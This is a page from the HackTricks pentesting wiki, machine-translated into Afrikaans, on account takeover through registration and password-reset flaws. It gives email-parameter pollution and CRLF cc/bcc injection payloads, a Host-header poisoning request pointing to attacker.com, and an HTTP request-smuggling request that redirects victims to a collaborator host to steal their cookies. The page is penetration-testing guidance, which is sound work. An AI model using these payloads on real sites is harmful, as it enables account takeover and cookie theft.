hacktricks/pentesting-web/registration-vulnerabilities.md

9.4 KiB

Registrasie & Oorname Kw vulnerabilities

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Registrasie Oorname

Dubbele Registrasie

  • Probeer om te genereer met 'n bestaande gebruikersnaam
  • Kyk na verskillende e-pos:
  • hoofletters
  • +1@
  • voeg 'n punt in die e-pos by
  • spesiale karakters in die e-pos naam (%00, %09, %20)
  • Sit swart karakters na die e-pos: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Gebruikersnaam Enumerasie

Kyk of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is.

Wagwoordbeleid

Skep 'n gebruiker en kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).
In daardie geval kan jy probeer om akrediteer te bruteforce.

SQL Inbraak

Kyk na hierdie bladsy om te leer hoe om rekeningoorname te probeer of inligting te onttrek via SQL Inbrake in registrasievorms.

Oauth Oorname

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML Kw vulnerabilities

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Verander E-pos

Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek geverifieer word of of jy dit na arbitrêre e-posse kan verander.

Meer Kontroles

  • Kyk of jy weggooie e-posse kan gebruik
  • Lang wagwoord (>200) lei tot DoS
  • Kyk na koerslimiete op rekening skep
  • Gebruik username@burp_collab.net en analiseer die terugroep

Wagwoord Herstel Oorname

Wagwoord Herstel Token Lek Via Verwysing

  1. Versoek wagwoord herstel na jou e-pos adres
  2. Klik op die wagwoord herstel skakel
  3. Moet nie wagwoord verander nie
  4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
  5. Intercepteer die versoek in Burp Suite proxy
  6. Kyk of die verwysingskop lek wagwoord herstel token.

Wagwoord Herstel Besmetting

  1. Intercepteer die wagwoord herstel versoek in Burp Suite
  2. Voeg of wysig die volgende koppe in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Stuur die versoek met die gewysigde kop
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Soek na 'n wagwoord herstel URL gebaseer op die host kop soos : https://attacker.com/reset-password.php?token=TOKEN

Wagwoord Herstel Via E-pos Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR op API Parameters

  1. Aanvaller moet met hul rekening aanmeld en na die Verander wagwoord funksie gaan.
  2. Begin die Burp Suite en onderskep die versoek.
  3. Stuur dit na die herhaler-oortjie en wysig die parameters: Gebruiker ID/e-pos
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Swak Wagwoord Herstel Token

Die wagwoord herstel token moet ewekansig gegenereer en uniek wees elke keer.
Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.

  • Tydstempel
  • GebruikerID
  • E-pos van Gebruiker
  • Voornaam en Van
  • Geboortedatum
  • Kriptografie
  • Slegs nommers
  • Klein token volgorde (karakters tussen [A-Z,a-z,0-9])
  • Token hergebruik
  • Token vervaldatum

Lekke Wagwoord Herstel Token

  1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com
  2. Ondersoek die bediener se antwoord en kyk vir resetToken
  3. Gebruik dan die token in 'n URL soos https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Wagwoord Herstel Deur Gebruikersnaam Botsing

  1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: "admin "
  2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
  3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
  4. Maak verbinding met die slagoffer se rekening met die nuwe wagwoord.

Die platform CTFd was kwesbaar vir hierdie aanval.
Sien: CVE-2020-7245

Rekening Oorname Deur Cross Site Scripting

  1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein geskope is: *.domain.com
  2. Lek die huidige sessies koekie
  3. Verifieer as die gebruiker met behulp van die koekie

Rekening Oorname Deur HTTP Versoek Smuggling

1. Gebruik smuggler om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stel 'n versoek op wat die POST / HTTP/1.1 met die volgende data sal oorskryf:
GET http://something.burpcollaborator.net HTTP/1.1 X: met die doel om die slagoffers na burpcollab te herlei en hul koekies te steel
3. Finale versoek kan soos volg lyk

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone verslae wat hierdie fout benut
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Rekening Oorname via CSRF

  1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering”
  2. Stuur die payload

Rekening Oorname via JWT

JSON Web Token kan gebruik word om 'n gebruiker te verifieer.

  • Wysig die JWT met 'n ander Gebruiker ID / E-pos
  • Kontroleer vir swak JWT handtekening

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}